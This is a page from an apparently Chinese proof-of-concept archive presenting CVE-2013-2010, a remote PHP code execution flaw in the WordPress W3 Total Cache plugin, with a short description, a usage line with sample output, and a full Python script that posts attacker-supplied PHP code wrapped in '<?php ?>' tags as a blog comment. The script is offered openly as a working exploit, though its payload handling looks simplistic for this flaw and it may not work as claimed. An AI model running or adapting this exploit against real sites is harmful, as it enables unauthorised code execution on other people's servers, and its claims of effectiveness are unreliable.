目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2013-2010 PoC — WordPress W3 Total Cache插件多个注入漏洞

来源
关联漏洞
标题: WordPress W3 Total Cache插件多个注入漏洞 (CVE-2013-2010)
Description:W3 Total Cache是一款集动态页面缓存、CSSJS压缩、数据库缓存、CDN加速功能于一体的缓存插件。 WordPress的W3 Total Cache插件中存在多个远程PHP代码执行漏洞。攻击者可利用这些漏洞在web服务器上下文中执行任意PHP代码。W3 Total Cache 0.9.2.9版本中存在漏洞,其他版本也可能受到影响。
Description
Remote code execution running on w3 total cache cve 2013-2010
介绍
# w3-total-cache-cve-2013-2010
Remote code execution running on w3 total cache cve 2013-2010

Usage:
python3 w3tc_rce_exploit.py -u http://example.com -p "system('whoami');"

Output:
[*] Targeting: http://example.com
[+] Payload sent successfully.
[+] Check the target for execution of the payload.


-----------
import requests
import argparse

def exploit_rce(target_url, payload):
    """Exploit the RCE vulnerability by sending a crafted comment."""
    # Construct the URL for posting a comment
    post_url = f"{target_url}/wp-comments-post.php"
    
    # Prepare the payload for the comment
    data = {
        'author': 'attacker',
        'email': 'attacker@example.com',
        'url': 'http://example.com',
        'comment': payload,
        'submit': 'Submit Comment',
        'post_id': 1  # Assuming post ID 1 exists; adjust as necessary
    }
    
    try:
        # Send the POST request
        response = requests.post(post_url, data=data)
        
        if response.status_code == 200:
            print("[+] Payload sent successfully.")
            print("[+] Check the target for execution of the payload.")
        else:
            print("[-] Failed to send payload.")
            print(f"Status Code: {response.status_code}")
    
    except Exception as e:
        print(f"Error during exploitation: {str(e)}")

def main():
    parser = argparse.ArgumentParser(description='Exploit CVE-2013-2010 in W3 Total Cache')
    parser.add_argument('-u', '--url', required=True, help='Target WordPress URL')
    parser.add_argument('-p', '--payload', required=True, help='PHP code to execute')
    
    args = parser.parse_args()
    
    target_url = args.url.rstrip('/')
    
    # Construct a malicious payload (e.g., a simple PHP command)
    php_payload = f"<?php {args.payload} ?>"
    
    print(f"[*] Targeting: {target_url}")
    
    exploit_rce(target_url, php_payload)

if __name__ == "__main__":
    main()
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →